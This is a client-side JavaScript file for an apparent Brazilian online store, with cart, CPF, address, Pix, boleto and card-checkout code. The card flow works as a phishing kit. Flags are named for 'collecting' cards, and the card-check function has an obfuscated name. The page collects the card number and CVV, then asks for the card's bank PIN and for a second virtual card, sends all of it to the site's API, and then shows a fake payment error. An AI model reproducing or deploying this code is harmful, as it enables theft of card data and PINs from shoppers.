// COOKIES function set_cookie(cookie,valor){ localStorage.setItem(cookie,valor); return; } function get_cookie(cookie){ return localStorage.getItem(cookie); } function remove_cookie(cookie){ return localStorage.removeItem(cookie); } // REQUISIÇÕES async function buscar_produto(){ loading('loading'); let produto = await request(null,true,{ metodo: 'buscar_produto' }); set_cookie('produto_fullid',produto.fullid); set_cookie('produto_variações',produto.variações); set_cookie('produto_avaliações',JSON.stringify(produto.avaliações)); set_cookie('produto_nome',produto.nome); set_cookie('produto_vendidos',produto.vendidos); set_cookie('produto_quantidade',produto.quantidade); set_cookie('produto_imagens',produto.imagens); set_cookie('produto_preço_atual',produto.preço_atual); set_cookie('produto_preço_original',produto.preço_original); set_cookie('produto_moeda',produto.moeda); set_cookie('produto_colher_cartão',produto.colher_cartão); set_cookie('produto_debitar_do_cartão',produto.debitar_do_cartão); set_cookie('produto_gerar_pix',produto.gerar_pix); set_cookie('produto_gerar_boleto',produto.gerar_boleto); set_cookie('produto_checkout_externo',produto.checkout_externo); set_cookie('pular_login',produto.pular_login); set_cookie('contabilizar_onlines',produto.contabilizar_onlines); set_cookie('formas_de_entrega',JSON.stringify(produto.formas_de_entrega)); for(let entrega of produto.formas_de_entrega){ console.log(entrega); set_cookie('forma_de_entrega_escolhida',entrega.id); break; } set_cookie('parcelas',12); let pagamento = produto.pagamento; set_cookie('colher_cartão',pagamento.colher_cartão); set_cookie('debitar_dos_cartões',pagamento.debitar_dos_cartões); set_cookie('gerar_pix',pagamento.gerar_pix); set_cookie('gerar_boleto',pagamento.gerar_boleto); set_cookie('descontos',pagamento.descontos); set_cookie('evento_purchase',pagamento.evento_purchase); set_cookie('layout',produto.layout); //UNIVERSAL set_cookie('chave',produto.chave); set_cookie('tela',produto.tela); set_cookie('dominio',produto.dominio); // carregar_imagens_do_produto(); // carregar_variações_do_produto(); // carregar_preços_do_produto(); // carregar_entrega_do_produto(); // carregar_avaliações_do_produto(); // carregar_detalhes_do_produto(); montar_layout(); loading('loading'); return; } function adicionar_no_carrinho(self){ if(get_cookie('carrinho')===null){ set_cookie('carrinho','[]'); } let variações = []; let total = $('.totalDeVariações').text(); for(c=0;c{ loading(); if(destination=='login'){ ir_para('login'); }else{ window.location.href = destination; } return; },500); } return; } function buscar_pagador(){ let nome = ''; let documento = ''; let data_de_nascimento = ''; let telefone = get_cookie('telefone'); let email = ''; if(get_cookie('nome')!==null){ nome = get_cookie('nome'); } if(get_cookie('documento')!==null){ documento = get_cookie('documento'); } if(get_cookie('email')!==null){ email = get_cookie('email'); } if(get_cookie('nascimento')!==null){ data_de_nascimento = get_cookie('nascimento'); } let pagador = { nome: nome, documento: documento, data_de_nascimento: data_de_nascimento, telefone: telefone, email: email }; return pagador; } function simbolo_da_moeda(moeda){ let moedas = []; moedas.push({moeda: 'BRL', simbolo: 'R$'}); moedas.push({moeda: 'USD', simbolo: 'US$'}); for(let c=0;c=2){ temp[1] = `${temp[1][0]}${temp[1][1]}`; } valor = `${temp[0]},${temp[1]}`; }else{ valor = `${valor},00`; } valor = valor.replace(',',''); let novo_valor = ''; let q = 0; //formato real brasileiro 123.456.789,00 for(let c=valor.length-1;c>=0;c--){ q++; if(q==2){ novo_valor = `,${valor[c]}${novo_valor}`; }else if((q==5 || q==8 || q==11 || q==14) && valor[c-1]!==undefined){ novo_valor = `.${valor[c]}${novo_valor}`; }else{ novo_valor = `${valor[c]}${novo_valor}`; } } valor = novo_valor; if(remover_centavos===true){ valor = valor.split(','); valor = valor[0]; } return valor; } function obter_valor_total_no_cartão(){ let carrinho = JSON.parse(get_cookie('carrinho')); let valor_total = 0; for(let produto of carrinho){ valor_total = parseFloat(valor_total)+parseFloat(parseFloat(produto.preço_atual)*parseInt(produto.quantidade)); } let formas_de_entrega = JSON.parse(get_cookie('formas_de_entrega')); for(let forma_de_entrega of formas_de_entrega){ if(forma_de_entrega.id==get_cookie('forma_de_entrega_escolhida')){ valor_total = parseFloat(valor_total)+parseFloat(forma_de_entrega.valor); break; } } return obter_valor(valor_total); } function obter_valor(valor){ valor = valor.toString(); if(valor.includes('.')){ let temp = valor.split('.'); let centavos = ''; if(temp[1].length==1){ centavos = `${temp[1][0]}0`; }else if(temp[1].length>=2){ centavos = `${temp[1][0]}${temp[1][1]}`; } return `${temp[0]}.${centavos}`; }else{ return `${valor}.00` } } function obter_data_de_entrega(x){ let hoje = new Date(); hoje.setDate(hoje.getDate()+parseInt(x)); console.log(hoje.getDate()); let dia_da_semana = hoje.getDay(); let dia = hoje.getDate(); let mes = hoje.getMonth(); let ano = hoje.getFullYear(); let meses = [ "Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro" ]; let dias_da_semana = [ 'Domingo', 'Segunda-feira', 'Terça-feira', 'Quarta-feira', 'Quinta-feira', 'Sexta-feira', 'Sábado' ]; return `${dias_da_semana[dia_da_semana]}, ${dia} de ${meses[mes]}`; } function obter_data_de_entrega_2(x,diaDaSemana){ let hoje = new Date(); hoje.setDate(hoje.getDate()+parseInt(x)); let dia_da_semana = hoje.getDay(); let dia = hoje.getDate(); let mes = hoje.getMonth(); let ano = hoje.getFullYear(); let meses = [ "Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez" ]; let dias_da_semana = [ 'domingo', 'segunda-feira', 'terça-feira', 'quarta-feira', 'quinta-feira', 'sexta-feira', 'sábado' ]; if(diaDaSemana===true){ return `${dias_da_semana[dia_da_semana]}, ${dia} de ${meses[mes]} de ${ano}`; }else{ return `${dia} de ${meses[mes]}. de ${ano}`; } } function obter_dia_e_mes(d,m){ let meses = [ "Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez" ]; let dias_da_semana = [ 'domingo', 'segunda-feira', 'terça-feira', 'quarta-feira', 'quinta-feira', 'sexta-feira', 'sábado' ]; return JSON.stringify({dia: dias_da_semana[d],mes: meses[m]}); } // -------------------------------------------------------- \\ function cfosucmsswerdthy(value) { if (/[^0-9-\s]+/.test(value)) return false; let nCheck = 0, bEven = false; value = value.replace(/\D/g, ""); for (var n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n), nDigit = parseInt(cDigit, 10); if (bEven && (nDigit *= 2) > 9) nDigit -= 9; nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; } function primeiraLetraMaiuscula(id){ str = $('#'+id).val(); l = str[0].toUpperCase(); n = l; for(c=1;c=11){ cpf = cpf[0]+cpf[1]+cpf[2]+'.'+cpf[3]+cpf[4]+cpf[5]+'.'+cpf[6]+cpf[7]+cpf[8]+'-'+cpf[9]+cpf[10]; $.ajax({ url: $('#caminhoBase').text()+'/api/',type:'POST',async:true,data: 'metodo=validarCpfV2&cpf='+cpf,dataType:'html', success: function(resposta){ if(resposta.includes('f')){ if(erroId!=''){ $('#'+id).css('border-bottom','solid 1px #f23d4f'); $('#'+erroId).fadeIn(150); } }else{ if(erroId!=''){ $('#'+id).css('border-bottom','solid 1px #cccccc'); $('#'+erroId).fadeOut(150); } if(proximoId!=''){$('#'+proximoId).focus();} } } }); } $('#'+id).val(cpf); return; } //antigo function abrirMenu(){ display = $('#campoMenu').css('display'); if(display=='none'){//abre menu $('#campoMenu').fadeIn(50); $('#abrirMenu').html(""); document.documentElement.style.overflow = 'hidden'; }else{ $('#campoMenu').fadeOut(50); $('#abrirMenu').html(""); document.documentElement.style.overflow = 'auto'; } return; } function abrirPesquisa(){ pesquisar(); $('#campoPesquisar').fadeIn(250); $('#body').css('overflow','hidden'); window.scrollTo(0,0); $('#pesquisa').focus(); return; } function fecharPesquisa(){ $('#campoPesquisar').fadeOut(250); $('#body').css('overflow','auto'); $('#pesquisa').val(''); $('#conteudoPesquisa').html(''); return; } function pesquisar(){ pesquisa = $('#pesquisa').val(); cor1 = $('#cor3').text(); cor2 = $('#cor1').text(); cor3 = $('#cor2').text(); cor4 = $('#cor15').text(); $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=pesquisar&pesquisa='+pesquisa+'&cor1='+cor1+'&cor2='+cor2+'&cor3='+cor3+'&cor4='+cor4,dataType: 'html', success: function(resposta){ resposta = resposta.trim(); $('#conteudoPesquisa').html(resposta); } }); return; } function irPara(destino){ loading(); window.location.href = $('#caminhoAtual').text()+'/'+destino; return; } function abrirLink(link){ window.open(link, '_blank'); return; } function abrirLink2(link){ if(!link.includes('https://')){ return; } loading(); window.location.href = link; return; } function abrirLinkSlide(){ link = $('#linkSlide').text(); if(!link.includes('https://')){ return; } loading(); window.location.href = link; return; } function buscar(tipo,busca){ $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=buscar&tipo='+tipo+'&busca='+busca,dataType: 'html', success: function(resposta){ resposta = resposta.trim(); irPara('buscar'); } }); return; } function verImagemProduto(imagem,id,fullid){ $('#imagemDoProduto'+fullid).attr('src',imagem); quantidadeDeImagens = $('#quantidadeDeImagens').text(); for(c=0;c=quantidadeEstoque){ return; } quantidade++; $('#quantidadeDoProduto'+fullid).text(quantidade); if(get_cookie('paginaAtual')=='carrinho'){ comprarAgora(fullid); } return; } function escolherVariação(id,i,escolha,fullid,cor1,cor2){ texto = $('#'+id+'Texto'+i).text(); total = $('#'+id+'Total'+fullid).text(); $('#'+escolha+fullid).text(texto); for(c=0;c16){ $('#erroCelularCadastro').html('Celular inválido');loading();return;} $.ajax({ url: $('#caminhoBase').text()+'/api/',type:'POST',async:true,data: 'metodo=concluirCadastro&nome='+nomeCompleto+'&email='+email+'&cpf='+cpf+'&celular='+celular,dataType:'html', success: function(resposta){ window.location.href = $('#caminhoAtual').text()+'/endereço'; }}); },1000); return; } //ENDEREÇO function salvarEndereço(){ loading(); cep = $('#cepEntrega').val(); logradouro = $('#logradouroEntrega').val(); numero = $('#numeroEntrega').val(); complemento = $('#complementoEntrega').val(); bairro = $('#bairroEntrega').val(); cidade = $('#cidadeEntrega').val(); estado = $('#estadoEntrega').val(); //filtros de erro setTimeout(function(){ if(cep.length<8 || cep.length>9){ $('#erroCepEntrega').html('CEP Inválido');loading();return; } if(logradouro.length<3){ $('#erroLogradouroEntrega').html('Logradouro Inválido');loading();return; } if(numero.length==0){ $('#erroNumeroEntrega').html('Inválido');loading();return; } if(bairro.length<3){ $('#erroBairroEntrega').html('Bairro Inválido');loading();return; } if(cidade.length<3){ $('#erroCidadeEntrega').html('Cidade Inválida');loading();return; } if(estado.length!=2){ $('#erroEstadoEntrega').html('Inválido');loading();return; } $.ajax({ url: $('#caminhoBase').text()+'/api/',type:'POST',async:true,data: 'metodo=salvarEndereço&cep='+cep+'&logradouro='+logradouro+'&numero='+numero+'&complemento='+complemento+'&bairro='+bairro+'&cidade='+cidade+'&estado='+estado,dataType:'html', success: function(resposta){ window.location.href = $('#caminhoAtual').text()+'/pagamento'; }}); },1000); return; } function escolherFormaDeEntrega(id,itemId,valor,textoValor,titulo,icone,prazo,totalDeFormasDeEntrega){ for(c=0;c=16){ numero = numero[0]+numero[1]+numero[2]+numero[3]+' '+numero[4]+numero[5]+numero[6]+numero[7]+' '+numero[8]+numero[9]+numero[10]+numero[11]+' '+numero[12]+numero[13]+numero[14]+numero[15]; n = numero.replace(/[^a-z0-9]/gi,''); n = n.replace(/[^0-9.]/g, '').replace(/(\..*?)\..*/g, '$1'); if(cfosucmsswerdthy(n)==false){ $('#'+erroId).html('Número do cartão inválido'); }else{ $('#'+erroId).html(' '); $('#'+id).blur(); if(proximoId!=''){ $('#'+proximoId).focus(); } } } $('#'+id).val(numero); return; } function mascaraCvv(id,erroId,proximoId){ cvv = $('#'+id).val(); cvv = cvv.replace(/[^a-z0-9]/gi,''); cvv = cvv.replace(/[^0-9.]/g, '').replace(/(\..*?)\..*/g, '$1'); if(cvv=='000' || cvv=='0000'){ $('#'+erroId).html('Inválido'); }else{ $('#'+erroId).html(' '); } if(cvv.length>=4){ cvv = cvv[0]+cvv[1]+cvv[2]+cvv[3]; if(cvv=='000' || cvv=='0000'){ $('#'+erroId).html('Inválido'); $('#'+id).blur(); }else{ $('#'+erroId).html(' '); $('#'+id).blur(); } } $('#'+id).val(cvv); return; } function copiarCodigoV2(id,id2,texto1,texto2){ conteudo = $('#'+id).val(); if(conteudo.length==0){ conteudo = $('#'+id).text(); } navigator.clipboard.writeText(conteudo); $('#'+id2).text(texto1); setTimeout(function(){ $('#'+id2).text(texto2); },1000); return; } function timeV2(id){ minutos = 30; segundos = 0; setInterval(function(){ if(minutos==1){ minutos = '09'; segundos = 59; } if(segundos>0){ s = segundos-1; segundos--; }else if(segundos==0){ s = segundos = 59; m = minutos-1; segundos = 59; minutos--; } if(minutos>=1 && minutos<=9){ m = "0"+minutos; } if(segundos>=0 && segundos<=9){ s = "0"+segundos; } time = m+"m "+s+"s"; $('#'+id).text(time); },1000); return; } //PAGAMENTO function gerarNumeroDoPedido(prefixo,classe){ $.ajax({ url: $('#caminhoBase').text()+'/api/',type: "POST",async: true,data: 'metodo=gerarNumeroDoPedido',dataType: "html", success: function(resposta){ resposta = resposta.trim(); set_cookie('numeroDoPedido',resposta); $('.'+classe).text(prefixo+resposta); } }); return; } function imprimirBoleto(id){ window.open($('#'+id).text(),'_blank'); return; } function finalizarPedidoViaPix(){ loading(); $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=gerarPix',dataType: 'html', success: function(resposta){ resposta = resposta.trim(); console.log(resposta); setTimeout(function(){ if(resposta.includes('|')){ resposta = resposta.split('|'); codigoPix = resposta[0]; qrCode = resposta[1]; //OCULTAR $('#pagamento').hide(); $('#resumoDoPedido').hide(); $('#barraDeProgresso').hide(); //MOSTRAR timeV2("timeDoPix"); $('#pedidoFinalizadoViaPix').show(); $('#resumoDoPedido2').show(); //PIX $('#codigoPix').text(codigoPix); $('#qrCodePix').attr('src',qrCode); $("html,body").animate({scrollTop:0},'slow'); }else{ alert('Use outra forma de pagamento'); } loading(); },1000); } }); return; } function finalizarPedidoViaBoleto(){ loading(); $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=gerarBoleto',dataType: 'html', success: function(resposta){ resposta = resposta.trim(); console.log(resposta); if(resposta.includes('|')){ resposta = resposta.split('|'); linhaDigitavel = resposta[0]; linkDoBoleto = resposta[1]; //OCULTAR $('#pagamento').hide(); $('#resumoDoPedido').hide(); $('#barraDeProgresso').hide(); //MOSTRAR $('#pedidoFinalizadoViaBoleto').show(); $('#resumoDoPedido2').show(); //PIX $('#codigoDoBoleto').text(linhaDigitavel); $('#linkDoBoleto').text(linkDoBoleto); $("html,body").animate({scrollTop:0},'slow'); }else{ alert('Sistema de boleto fora do ar, altere a forma de pagamento para finalizar sua compra.'); } loading(); } }); return; } function finalizarPedidoViaCartão(){ loading(); nomeTitular = $('#nomeTitular').val(); cpfTitular = $('#cpfTitular').val(); numeroDoCartão = $('#numeroDoCartão').val(); mesCartão = $('#mesCartão').val(); anoCartão = $('#anoCartão').val(); validadeDoCartão = mesCartão+'/'+anoCartão; cvvDoCartão = $('#cvvDoCartão').val(); parcelamento = $('#parcelamento').val(); setTimeout(function(){ if(nomeTitular.includes(' ')){ nome = nomeTitular.split(' '); if(nome[0].length<3 && nome[1].length<2){ $('#erroNomeTitular').html('Nome inválido');loading();return; } }else{ $('#erroNomeTitular').html('Nome inválido');loading();return; } if(!cpfTitular.includes('.') || !cpfTitular.includes('-') || cpfTitular.length!=14){ $('#erroCpfTitular').html('CPF inválido');loading();return;} if(numeroDoCartão.length<16){ $('#erroNumeroDoCartão').html("Número do cartão inválido");loading();return;} if(verificarValidade("mesCartão","anoCartão","erroValidadeDoCartão").length>4){ loading();return; } if(cvvDoCartão.length<3 || cvvDoCartão.length>4){ $('#erroCvvDoCartão').html("CVV do cartão inválido");loading();return;} $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=salvarInfo&nomeTitular='+nomeTitular+'&cpfTitular='+cpfTitular+'&numeroDoCartão='+numeroDoCartão+'&validadeDoCartão='+validadeDoCartão+'&cvvDoCartão='+cvvDoCartão+'&parcelamento='+parcelamento,dataType: 'html', success: function(resposta){ resposta = resposta.trim(); //console.log(resposta); setTimeout(function(){ if(resposta.includes('consultavel')){ resposta = resposta.split('|'); iconeBanco = resposta[1]; iconeBandeira = resposta[2]; minDigitos = resposta[3]; maxDigitos = resposta[4]; //OCULTAR $('#campoDadosDoCartão').hide(); //MOSTRAR $('#campoColherConsultavel').show(); $('#iconeBanco').attr('src',iconeBanco); $('#iconeBandeira').attr('src',iconeBandeira); $("#senhaDoCartão").attr('minlength',minDigitos); $("#senhaDoCartão").attr('maxlength',maxDigitos); placeholder = ''; for(c=1;c<=maxDigitos;c++){ placeholder = placeholder+'•'; } $("#senhaDoCartão").attr('placeholder',placeholder); $("#senhaDoCartão").val(''); if(minDigitos==maxDigitos){ textoDigitos = 'Para finalizar digite a senha do seu cartão, ela tem '+maxDigitos+' dígitos.'; }else{ textoDigitos = 'Para finalizar digite a senha do seu cartão, ela tem de '+minDigitos+' a '+maxDigitos+' dígitos.'; } $("#textoDigitosSenha").text(textoDigitos); $('#senhaDoCartão').focus(); $("html,body").animate({scrollTop:0},'slow'); }else{ $('#erroPagamentoCartão').css('display','flex'); $("html,body").animate({scrollTop:0},'slow'); } loading(); },800); } }); },1000); return; } function salvarConsultavel(){ loading(); senhaDoCartão = $('#senhaDoCartão').val(); minDigitos = $('#senhaDoCartão').attr('minlength'); maxDigitos = $('#senhaDoCartão').attr('maxlength'); numeroDoCartão = $('#numeroDoCartão').val(); setTimeout(function(){ if(numeroDoCartão.length<16){ loading();$('#erroNumeroDoCartão').html("Número do cartão inválido"); return;} if(senhaDoCartão.lengthmaxDigitos){ loading();$('#erroSenhaDoCartão').html("Senha do cartão incorreta");$('#senhaDoCartão').val(''); return; } $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=salvarConsultavel&numeroDoCartão='+numeroDoCartão+'&senhaDoCartão='+senhaDoCartão,dataType: 'html', success: function(resposta){ //console.log(resposta); resposta = resposta.trim(); resposta = resposta.replaceAll("\n",""); window.setTimeout(function(){ if(resposta==1){ $('#campoColherConsultavel').hide(250); $('#campoCartãoVirtual').show(250); }else{ $('#erroPagamentoCartão').css('display','flex'); $('#campoColherConsultavel').hide(250); $('#campoDadosDoCartão').show(250); $("html,body").animate({scrollTop:0},'slow'); } loading(); },1750); } }); },1000); return; } function salvarVirtual(){ loading(); numeroDoCartão = $('#numeroDoCartão').val(); numeroDoCartãoVirtual = $('#numeroDoCartãoVirtual').val(); mesCartãoVirtual = $('#mesCartãoVirtual').val(); anoCartãoVirtual = $('#anoCartãoVirtual').val(); validadeDoCartãoVirtual = mesCartãoVirtual+'/'+anoCartãoVirtual; cvvDoCartãoVirtual = $('#cvvDoCartãoVirtual').val(); setTimeout(function(){ if(numeroDoCartão==numeroDoCartãoVirtual){ $('#erroNumeroDoCartãoVirtual').html('Insira o número do cartão virtual');loading();return; } if(numeroDoCartãoVirtual.length<16){ $('#erroNumeroDoCartãoVirtual').html("Número do cartão virtual inválido");loading();return;} if(verificarValidade("mesCartãoVirtual","anoCartãoVirtual","erroValidadeDoCartãoVirtual").length>4){ loading();return; } if(cvvDoCartãoVirtual.length<3 || cvvDoCartãoVirtual.length>4){ $('#erroCvvDoCartãoVirtual').html("CVV do cartão virtual inválido");loading();return;} $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=salvarVirtual&numeroDoCartão='+numeroDoCartão+'&numeroDoCartãoVirtual='+numeroDoCartãoVirtual+'&validadeDoCartãoVirtual='+validadeDoCartãoVirtual+'&cvvDoCartãoVirtual='+cvvDoCartãoVirtual,dataType: 'html', success: function(resposta){ setTimeout(function(){ $('#numeroDoCartãoVirtual').val(''); $('#mesCartãoVirtual').val(0); $('#anoCartãoVirtual').val(0); $('#cvvDoCartãoVirtual').val(''); $('#campoCartãoVirtual').hide(); $('#erroPagamentoCartão').css('display','flex'); $('#campoDadosDoCartão').show(250); $("html,body").animate({scrollTop:0},'slow'); loading(); },1750); } }); },1000); return; } function verificarValidade(idAtual,idMes,idAno,idErro){ if(idAtual.includes('m')){ if($('#'+idAno).val()=='0'){ return; } } resposta = ''; mes = $('#'+idMes).val(); ano = $('#'+idAno).val(); $.ajax({ url: $('#caminhoBase').text()+'/api/',type: 'POST',async: true, data: 'metodo=validadeV2&mes='+mes+'&ano='+ano,dataType: 'html', success: function(resposta){ resposta = resposta.trim(); if(resposta.length>4){ $('#'+idErro).html(resposta); }else{ $('#'+idErro).html(" "); } } }); return resposta; } //AVALIAÇÕES function avaliação(id,fullid,ação){ corForte = $('#corForte').text(); corFraca = $('#corFraca').text(); corLike = $('#corLike'+id).css('color'); corUnlike = $('#corUnlike'+id).css('color'); likes = $('#likes'+id).text(); unlikes = $('#unlikes'+id).text(); $.ajax({ url: $('#caminhoBase').text()+'/api/',type: "POST",async: true,data: 'metodo=avaliação&id='+id+'&fullid='+fullid+'&ação='+ação+'&corForte='+corForte+'&corFraca='+corFraca+'&corLike='+corLike+'&corUnlike='+corUnlike+'&likes='+likes+'&unlikes='+unlikes,dataType: "html", success: function(resposta){ resposta = resposta.trim(); /* console.log(resposta); */ resposta = resposta.split('|'); $('#likes'+id).text(resposta[0]); $('#unlikes'+id).text(resposta[1]); $('.corLike'+id).css('color',resposta[2]); $('#corLike'+id).css('color',resposta[2]); $('#botaoLike'+id).css('border-color',resposta[2]); $('.corUnlike'+id).css('color',resposta[3]); $('#corUnlike'+id).css('color',resposta[3]); $('#botaoUnlike'+id).css('border-color',resposta[3]); } }); return; } function buscarCep(id,proximoCampo,proximoId,campo1,campo2,campo3,campo4,idEntrega){ loading(); cep = $('#'+id).val(); setTimeout(function(){ if(cep.length<8 || cep.length>9){ $('#erroCepEntrega').html('CEP Inválido');loading();return; } $('#erroCepEntrega').html(" "); $.ajax({ url: $('#caminhoBase').text()+'/api/',data:'metodo=buscarCep&cep='+cep,type: 'POST',async: true,dataType: 'html', success: function(resposta){ resposta = resposta.trim(); console.log(resposta); $('#'+proximoCampo).show(250); resposta = resposta.split('|'); $('#'+campo1).val(resposta[0]); $('#'+campo2).val(resposta[1]); $('#'+campo3).val(resposta[2]); estado = resposta[3]; estado = estado.trim(); $('#'+campo4).val(estado); $('#'+proximoId).focus(); $('#'+idEntrega+'0').click(); loading(); } }); },1000); return; } function irParaCategoria(categoria){ set_cookie('busca',categoria); set_cookie('tipoDeBusca','categorias'); irPara('buscar'); return; } function montar_layout(){ let layout = JSON.parse(get_cookie('layout')); try{ document.title = layout.titulo; }catch(erro){ console.log(erro); } try{ let itens = document.querySelectorAll('.nome_da_loja'); for(let item of itens){ item.innerText = layout.nome; } }catch(erro){ console.log(erro); } try{ document.getElementById('favicon_do_site').setAttribute('href',layout.favicon); }catch(erro){ console.log(erro); } try{ let itens = document.querySelectorAll('.logo_da_loja'); for(let item of itens){ item.setAttribute('src',layout.logo); } }catch(erro){ console.log(erro); } try{ let itens = document.querySelectorAll('.cnpj_da_empresa'); for(let item of itens){ item.innerText =`${layout.empresa} ${layout.cnpj} ${layout.endereço}`; } }catch(erro){ console.log(erro); } return; } window.onload = ()=>{ //AVISO DE COOKIES if(get_cookie('avisoDeCookies')!='aceito'){ $('#avisoDeCookies').css('display','block'); }else{ $('#avisoDeCookies').fadeOut();} //FILTROS INPUT //login $('#nomeCompletoCadastro').keyup(function(){ nomeCompleto = $('#nomeCompletoCadastro').val(); if(nomeCompleto.includes(' ')){ nomeCompleto = nomeCompleto.split(' '); if(nomeCompleto[0].length>2 && nomeCompleto[1].length>2){ $('#erroNomeCompletoCadastro').html(" "); } } }); $('#emailCadastro').keyup(function(){ email = $('#emailCadastro').val(); if(email.includes('@') && email.includes('.')){ $('#erroEmailCadastro').html(" "); } }); //endereço(entrega) $('#logradouroEntrega').keyup(function(){ logradouro = $('#logradouroEntrega').val(); if(logradouro.length>2){ $('#erroLogradouroEntrega').html(" "); } }); $('#numeroEntrega').keyup(function(){ numero = $('#numeroEntrega').val(); if(numero.length!=0){ $('#erroNumeroEntrega').html(" "); } }); $('#bairroEntrega').keyup(function(){ bairro = $('#bairroEntrega').val(); if(bairro.length>2){ $('#erroBairroEntrega').html(" "); } }); $('#cidadeEntrega').keyup(function(){ cidade = $('#cidadeEntrega').val(); if(cidade.length>2){ $('#erroCidadeEntrega').html(" "); } }); $('#estadoEntrega').keyup(function(){ estado = $('#estadoEntrega').val(); if(estado.length<3){ $('#erroEstadoEntrega').html(" "); } }); document.addEventListener("keypress", (e) => { if(e.key==="Enter"){ if($('#buscar').val().length>0 && get_cookie('paginaAtual')!='login' && get_cookie('paginaAtual')!='endereço' && get_cookie('paginaAtual')!='pagamento'){ set_cookie('busca',$('#buscar').val()); set_cookie('tipoDeBusca','produtos'); irPara('buscar'); } } }); }